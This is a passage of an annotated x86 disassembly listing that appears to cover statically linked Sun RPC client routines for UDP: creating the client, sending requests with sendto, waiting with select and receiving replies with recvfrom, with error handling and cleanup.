		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063D20	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063F60	proc near		; DATA XREF: .data:080791B0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+8]
		mov	eax, [edx+24h]
		mov	[ecx], eax
		mov	eax, [edx+28h]
		mov	[ecx+4], eax
		mov	eax, [edx+2Ch]
		mov	[ecx+8], eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063F60	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063F84	proc near		; DATA XREF: .data:080791B4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [eax+8]
		lea	edx, [eax+4Ch]
		mov	dword ptr [eax+4Ch], 2
		push	ecx
		push	edx
		call	ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063F84	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063FAC	proc near		; DATA XREF: .data:080791ACo
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063FAC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8063FB4	proc near		; DATA XREF: .data:080791BCo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		mov	eax, [edx+8]
		cmp	ecx, 2
		jz	short loc_0_8063FF0
		jg	short loc_0_8063FD4
		cmp	ecx, 1
		jz	short loc_0_8063FDC
		jmp	short loc_0_806401C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063FD4:				; CODE XREF: sub_0_8063FB4+15j
		cmp	ecx, 3
		jz	short loc_0_8064000
		jmp	short loc_0_806401C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8063FDC:				; CODE XREF: sub_0_8063FB4+1Aj
		mov	edx, [ebx]
		mov	ecx, [ebx+4]
		mov	[eax+8], edx
		mov	[eax+0Ch], ecx
		mov	dword ptr [eax+10h], 1
		jmp	short loc_0_8064020
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8063FF0:				; CODE XREF: sub_0_8063FB4+13j
		mov	edx, [eax+8]
		mov	ecx, [eax+0Ch]
		mov	[ebx], edx
		mov	[ebx+4], ecx
		jmp	short loc_0_8064020
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064000:				; CODE XREF: sub_0_8063FB4+23j
		mov	edx, [eax+14h]
		mov	[ebx], edx
		mov	edx, [eax+18h]
		mov	[ebx+4], edx
		mov	edx, [eax+1Ch]
		mov	[ebx+8], edx
		mov	edx, [eax+20h]
		mov	[ebx+0Ch], edx
		jmp	short loc_0_8064020
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806401C:				; CODE XREF: sub_0_8063FB4+1Cj
					; sub_0_8063FB4+25j
		xor	eax, eax
		jmp	short loc_0_8064025
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064020:				; CODE XREF: sub_0_8063FB4+3Aj
					; sub_0_8063FB4+47j ...
		mov	eax, 1

loc_0_8064025:				; CODE XREF: sub_0_8063FB4+6Aj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8063FB4	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806402C	proc near		; DATA XREF: .data:080791B8o

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+8]
		cmp	dword ptr [ebx+4], 0
		jz	short loc_0_8064048
		call	close([ebx])

loc_0_8064048:				; CODE XREF: sub_0_806402C+Fj
		mov	edx, [ebx+50h]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_0_806405D
		lea	eax, [ebx+4Ch]
		push	eax
		mov	eax, [edx+1Ch]
		call	eax
		add	esp, 4

loc_0_806405D:				; CODE XREF: sub_0_806402C+23j
		call	free(ebx)
		call	free(esi)
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806402C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064074	proc near		; DATA XREF: sub_0_8063B04+1D5o

var_54		= byte ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_0_806408C
		xor	eax, eax
		jmp	loc_0_8064169
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806408C:				; CODE XREF: sub_0_8064074+Ej
		lea	edx, [ebp+var_20]
		xor	eax, eax
		mov	ecx, 8
		mov	edi, edx
		cld	
		repe stosd
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		bts	[ebp+var_20], eax

loc_0_80640A4:				; CODE XREF: sub_0_8064074+8Fj
		lea	edx, [ebp+var_40]
		lea	esi, [ebp+var_20]
		mov	edi, edx
		cld	
		mov	ecx, 8
		repe movsd
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+8]
		mov	[ebp+var_48], edx
		mov	edx, [eax+0Ch]
		mov	[ebp+var_44], edx
		lea	edx, [ebp+var_48]
		push	edx
		push	0
		push	0
		lea	edx, [ebp+var_40]
		push	edx
		call	sub_0_80649C0
		call	select(eax,var_40,0,0,var_48)
		mov	edx, eax
		cmp	edx, 0FFFFFFFFh
		jz	short loc_0_80640FC
		test	edx, edx
		jnz	short loc_0_8064120
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+24h], 5
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_8064169
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80640FC:				; CODE XREF: sub_0_8064074+70j
		cmp	errno, 4
		jz	short loc_0_80640A4
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi+24h], 4
		mov	edx, errno
		mov	[edi+28h], edx
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_8064169
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064120:				; CODE XREF: sub_0_8064074+74j
		mov	ecx, [ebp+arg_0]
		call	read([ecx],arg_4,ebx)
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_0_8064154
		test	ebx, ebx
		jnz	short loc_0_8064167
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi+28h], 68h
		mov	dword ptr [edi+24h], 4
		mov	ebx, 0FFFFFFFFh
		jmp	short loc_0_8064167
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064154:				; CODE XREF: sub_0_8064074+C1j
		mov	edx, errno
		mov	eax, [ebp+arg_0]
		mov	[eax+28h], edx
		mov	dword ptr [eax+24h], 4

loc_0_8064167:				; CODE XREF: sub_0_8064074+C5j
					; sub_0_8064074+DDj
		mov	eax, ebx

loc_0_8064169:				; CODE XREF: sub_0_8064074+12j
					; sub_0_8064074+85j ...
		lea	esp, [ebp+var_54]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064074	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064174	proc near		; DATA XREF: sub_0_8063B04+1D0o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jle	short loc_0_80641B8
		nop	

loc_0_8064188:				; CODE XREF: sub_0_8064174+42j
		call	write([edi],esi,ebx)
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_80641B0
		mov	eax, errno
		mov	[edi+28h], eax
		mov	dword ptr [edi+24h], 3
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_80641BB
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80641B0:				; CODE XREF: sub_0_8064174+24j
		sub	ebx, eax
		add	esi, eax
		test	ebx, ebx
		jg	short loc_0_8064188

loc_0_80641B8:				; CODE XREF: sub_0_8064174+11j
		mov	eax, [ebp+arg_8]

loc_0_80641BB:				; CODE XREF: sub_0_8064174+3Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064174	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80641C8	proc near		; CODE XREF: sub_0_8064400+27p
					; sub_0_80649E0+46p

var_4C		= byte ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_1C]
		xor	ebx, ebx
		call	sub_0_805E954
		call	malloc(12)
		mov	[ebp+var_40], eax
		test	eax, eax
		jz	short loc_0_806420E
		add	edi, 3
		and	edi, 0FFFFFFFCh
		add	esi, 3
		and	esi, 0FFFFFFFCh
		call	malloc([edi+esi+64h])
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_0_8064254

loc_0_806420E:				; CODE XREF: sub_0_80641C8+25j
		push	offset aOutOfMemory_0 ;	"out of	memory"
		push	1
		push	0Ah
		mov	edx, dword_0_8078F9C
		push	edx
		call	sub_0_805E584
		call	fprintf(unk_0_80787a4,clntudp_create: %s\n',eax)
		mov	dword_0_8079220, 0Ch
		mov	edx, errno
		mov	dword_0_8079228, edx
		add	esp, 1Ch
		jmp	loc_0_80643D8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064254:				; CODE XREF: sub_0_80641C8+44j
		lea	edx, [ebx+esi+60h]
		mov	[ebx+58h], edx
		push	0
		lea	edx, [ebp+var_38]
		push	edx
		call	gettimeofday
		add	esp, 8
		mov	ecx, [ebp+arg_0]
		cmp	word ptr [ecx+2], 0
		jnz	short loc_0_806429D
		push	11h
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_0_80649E0
		add	esp, 10h
		test	ax, ax
		jz	loc_0_80643D8
		mov	edx, eax
		xchg	dl, dh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+2], dx

loc_0_806429D:				; CODE XREF: sub_0_80641C8+A9j
		mov	ecx, [ebp+var_40]
		mov	dword ptr [ecx+4], offset off_0_80791C0
		mov	[ecx+8], ebx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebx+8], edx
		mov	edx, [ecx+4]
		mov	[ebx+0Ch], edx
		mov	edx, [ecx+8]
		mov	[ebx+10h], edx
		mov	edx, [ecx+0Ch]
		mov	[ebx+14h], edx
		mov	dword ptr [ebx+18h], 10h
		mov	edx, [ebp+arg_C]
		mov	[ebx+1Ch], edx
		mov	edx, [ebp+arg_10]
		mov	[ebx+20h], edx
		mov	dword ptr [ebx+24h], 0FFFFFFFFh
		mov	dword ptr [ebx+28h], 0FFFFFFFFh
		mov	[ebx+54h], edi
		mov	[ebx+5Ch], esi
		call	getpid
		mov	edx, eax
		xor	edx, [ebp+var_38]
		xor	edx, [ebp+var_34]
		mov	[ebp+var_30], edx
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 2
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_24], ecx
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_20], ecx
		push	0
		push	edi
		mov	edx, [ebx+58h]
		push	edx
		lea	esi, [ebx+38h]
		push	esi
		call	sub_0_8065408
		lea	edx, [ebp+var_30]
		push	edx
		push	esi
		call	sub_0_8064C9C
		add	esp, 18h
		test	eax, eax
		jz	loc_0_80643D8
		mov	edx, [ebx+3Ch]
		push	esi
		mov	edx, [edx+10h]
		call	edx
		mov	[ebx+50h], eax
		add	esp, 4
		mov	ecx, [ebp+arg_14]
		cmp	dword ptr [ecx], 0
		jge	short loc_0_80643B8
		mov	[ebp+var_3C], 1
		call	socket(AF_INET,SOCK_DGRAM,17)
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		test	eax, eax
		jge	short loc_0_8064388
		mov	dword_0_8079220, 0Ch
		mov	edx, errno
		mov	dword_0_8079228, edx
		jmp	short loc_0_80643D8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064388:				; CODE XREF: sub_0_80641C8+1A5j
		push	0
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		push	edx
		call	sub_0_8066A50
		call	ioctl(*arg_14,5421h,&var_3c)
		mov	dword ptr [ebx+4], 1
		add	esp, 14h
		jmp	short loc_0_80643BF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80643B8:				; CODE XREF: sub_0_80641C8+187j
		mov	dword ptr [ebx+4], 0

loc_0_80643BF:				; CODE XREF: sub_0_80641C8+1EBj
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		mov	[ebx], edx
		call	sub_0_8067094
		mov	ecx, [ebp+var_40]
		mov	[ecx], eax
		mov	eax, [ebp+var_40]
		jmp	short loc_0_80643F6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80643D8:				; CODE XREF: sub_0_80641C8+84j
					; sub_0_80641C8+C4j ...
		test	ebx, ebx
		jz	short loc_0_80643E5
		call	free(ebx)

loc_0_80643E5:				; CODE XREF: sub_0_80641C8+212j
		cmp	[ebp+var_40], 0
		jz	short loc_0_80643F4
		call	free(var_40)

loc_0_80643F4:				; CODE XREF: sub_0_80641C8+221j
		xor	eax, eax

loc_0_80643F6:				; CODE XREF: sub_0_80641C8+20Bj
		lea	esp, [ebp+var_4C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80641C8	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064400	proc near		; CODE XREF: sub_0_805CE84+3FBp

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_14]
		push	2260h
		push	2260h
		push	edx
		mov	edx, [ebp+arg_10]
		mov	esi, [ebp+arg_C]
		push	edx
		push	esi
		push	ecx
		push	eax
		push	ebx
		call	sub_0_80641C8
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8064400	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8064438	proc near		; DATA XREF: .data:080791C0o

var_D8		= byte ptr -0D8h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_80		= byte ptr -80h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_50		= byte ptr -50h
var_40		= dword	ptr -40h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_A8], eax
		mov	[ebp+var_B8], 2
		cmp	dword ptr [eax+28h], 0FFFFFFFFh
		jnz	short loc_0_8064474
		mov	ecx, [ebp+arg_18]
		mov	[ebp+var_C0], ecx
		mov	ecx, [ebp+arg_1C]
		mov	[ebp+var_BC], ecx
		jmp	short loc_0_806448C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064474:				; CODE XREF: sub_0_8064438+26j
		mov	edi, [ebp+var_A8]
		mov	eax, [edi+24h]
		mov	[ebp+var_C0], eax
		mov	eax, [edi+28h]
		mov	[ebp+var_BC], eax

loc_0_806448C:				; CODE XREF: sub_0_8064438+3Aj
		mov	[ebp+var_B4], 0
		mov	[ebp+var_B0], 0

loc_0_80644A0:				; CODE XREF: sub_0_8064438+422j
		mov	ecx, [ebp+var_A8]
		add	ecx, 38h
		mov	[ebp+var_AC], ecx
		mov	edi, [ebp+var_A8]
		mov	dword ptr [edi+38h], 0
		mov	eax, [edi+3Ch]
		mov	edx, [edi+50h]
		push	edx
		push	ecx
		mov	edx, [eax+14h]
		call	edx
		mov	edx, [edi+58h]
		inc	word ptr [edx]
		mov	ecx, [edi+3Ch]
		lea	edx, [ebp+arg_4]
		push	edx
		mov	edi, [ebp+var_AC]
		push	edi
		mov	edx, [ecx+4]
		call	edx
		mov	edx, eax
		add	esp, 10h
		test	edx, edx
		jz	short loc_0_806451C
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		mov	ecx, [edx+20h]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		call	edx
		mov	edx, eax
		add	esp, 8
		test	edx, edx
		jz	short loc_0_806451C
		mov	edi, [ebp+arg_C]
		push	edi
		mov	eax, [ebp+var_AC]
		push	eax
		mov	ecx, [ebp+arg_8]
		call	ecx
		mov	edx, eax
		add	esp, 8
		test	edx, edx
		jnz	short loc_0_8064534

loc_0_806451C:				; CODE XREF: sub_0_8064438+B1j
					; sub_0_8064438+C9j
		mov	edi, [ebp+var_A8]
		mov	dword ptr [edi+2Ch], 1
		mov	eax, 1
		jmp	loc_0_8064876
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064534:				; CODE XREF: sub_0_8064438+E2j
		mov	eax, [ebp+var_AC]
		mov	edx, [eax+4]
		push	eax
		mov	edx, [edx+10h]
		call	edx
		mov	ebx, eax
		add	esp, 4

loc_0_8064548:				; CODE XREF: sub_0_8064438+260j
					; sub_0_8064438+280j
		mov	ecx, [ebp+var_A8]
		call	sendto([ecx],[ecx+58h],ebx,0,var_a8+8,var_18h)
		mov	edx, eax
		cmp	edx, ebx
		jz	short loc_0_8064594
		mov	edx, errno
		mov	edi, [ebp+var_A8]
		mov	[edi+30h], edx
		mov	dword ptr [edi+2Ch], 3
		mov	eax, 3
		jmp	loc_0_8064876
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8064594:				; CODE XREF: sub_0_8064438+13Aj
		cmp	[ebp+var_C0], 0
		jnz	short loc_0_80645AA
		cmp	[ebp+var_BC], 0
		jz	loc_0_80646BE

loc_0_80645AA:				; CODE XREF: sub_0_8064438+163j
		mov	edx, dword_0_8079230
		mov	[ebp+var_74], edx
		mov	edx, dword_0_8079234
		mov	[ebp+var_70], edx
		mov	edx, dword_0_8079238
		mov	[ebp+var_6C], edx
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_64], ecx
		mov	edi, [ebp+arg_10]
		mov	[ebp+var_60], edi
		lea	edx, [ebp+var_40]
		xor	eax, eax
		mov	ecx, 8
		mov	edi, edx
		cld	
		repe stosd
		mov	eax, [ebp+var_A8]
		mov	eax, [eax]
		bts	[ebp+var_40], eax

loc_0_80645EC:				; CODE XREF: sub_0_8064438+2A7j
					; sub_0_8064438+31Cj ...
		lea	edx, [ebp+var_20]
		lea	esi, [ebp+var_40]
		mov	edi, edx
		cld	
		mov	ecx, 8
		repe movsd
		mov	eax, [ebp+var_A8]
		mov	edx, [eax+1Ch]
		mov	[ebp+var_A0], edx
		mov	edx, [eax+20h]
		mov	[ebp+var_9C], edx
		lea	edx, [ebp+var_A0]
		push	edx
		push	0
		push	0
		lea	edx, [ebp+var_20]
		push	edx
		call	sub_0_80649C0
		mov	edx, eax
		push	edx
		call	select
		mov	edx, eax
		add	esp, 14h
		cmp	edx, 0FFFFFFFFh
		jz	loc_0_80646D8
		test	edx, edx
		jnz	loc_0_8064708
		mov	ecx, [ebp+var_A8]
		mov	ecx, [ecx+1Ch]
		add	[ebp+var_B4], ecx
		mov	edi, [ebp+var_A8]
		mov	edi, [edi+20h]
		add	[ebp+var_B0], edi
		cmp	[ebp+var_B0], 0F423Fh
		jle	short loc_0_806468C

loc_0_8064670:				; CODE XREF: sub_0_8064438+252j
		inc	[ebp+var_B4]
		add	[ebp+var_B0], 0FFF0BDC0h
		cmp	[ebp+var_B0], 0F423Fh
		jg	short loc_0_8064670

loc_0_806468C:				; CODE XREF: sub_0_8064438+236j
		mov	eax, [ebp+var_C0]
		cmp	[ebp+var_B4], eax
		jl	loc_0_8064548
		mov	ecx, [ebp+var_C0]
		cmp	[ebp+var_B4], ecx
		jnz	short loc_0_80646BE
		mov	edi, [ebp+var_BC]
		cmp	[ebp+var_B0], edi
		jl	loc_0_8064548

loc_0_80646BE:				; CODE XREF: sub_0_8064438+16Cj
					; sub_0_8064438+272j
		mov	eax, [ebp+var_A8]
		mov	dword ptr [eax+2Ch], 5
		mov	eax, 5
		jmp	loc_0_8064876
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80646D8:				; CODE XREF: sub_0_8064438+200j
		cmp	errno, 4
		jz	loc_0_80645EC
		mov	edx, errno
		mov	ecx, [ebp+var_A8]
		mov	[ecx+30h], edx
		mov	dword ptr [ecx+2Ch], 4
		mov	eax, 4
		jmp	loc_0_8064876
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8064708:				; CODE XREF: sub_0_8064438+208j
					; sub_0_8064438+313j
		mov	[ebp+var_A4], 10h
		call	recvfrom([edi],var_a8[60h],[edi+5Ch],var_a8,0,var_50,var_a4)
		mov	esi, eax
		test	esi, esi
		jge	short loc_0_806477C
		cmp	errno, 4
		jz	short loc_0_8064708
		cmp	errno, 0Bh
		jz	loc_0_80645EC
		jz	loc_0_80645EC
		mov	edx, errno
		mov	[edi+30h], edx
		mov	dword ptr [edi+2Ch], 4
		mov	eax, 4
		jmp	loc_0_8064876
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806477C:				; CODE XREF: sub_0_8064438+30Aj
		cmp	esi, 3
		jbe	loc_0_80645EC
		mov	eax, [ebp+var_A8]
		mov	eax, [eax+58h]
		mov	ecx, [ebp+var_A8]
		mov	edx, [ecx+60h]
		cmp	[eax], edx
		jnz	loc_0_80645EC
		push	1
		push	esi
		mov	edx, [ebp+var_A8]
		add	edx, 60h
		push	edx
		lea	ebx, [ebp+var_98]
		push	ebx
		call	sub_0_8065408
		lea	esi, [ebp+var_80]
		push	esi
		push	ebx
		call	sub_0_8064C48
		add	esp, 18h
		test	eax, eax
		jz	loc_0_8064860
		mov	edx, [ebp+var_A8]
		add	edx, 2Ch
		push	edx
		push	esi
		call	sub_0_8064DE0
		add	esp, 8
		mov	edi, [ebp+var_A8]
		cmp	dword ptr [edi+2Ch], 0
		jnz	short loc_0_8064834
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [eax+20h]
		lea	edx, [ebp+var_74]
		push	edx
		push	eax
		mov	edx, [ecx+8]
		call	edx
		mov	edx, eax
		add	esp, 8
		test	edx, edx
		jnz	short loc_0_8064815
		mov	dword ptr [edi+2Ch], 7
		mov	dword ptr [edi+30h], 6

loc_0_8064815:				; CODE XREF: sub_0_8064438+3CDj
		cmp	[ebp+var_70], 0
		jz	short loc_0_806486D
		mov	edi, [ebp+var_AC]
		mov	dword ptr [edi], 2
		lea	edx, [ebp+var_74]
		push	edx
		push	edi
		call	sub_0_8064B1C
		jmp	short loc_0_806486D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

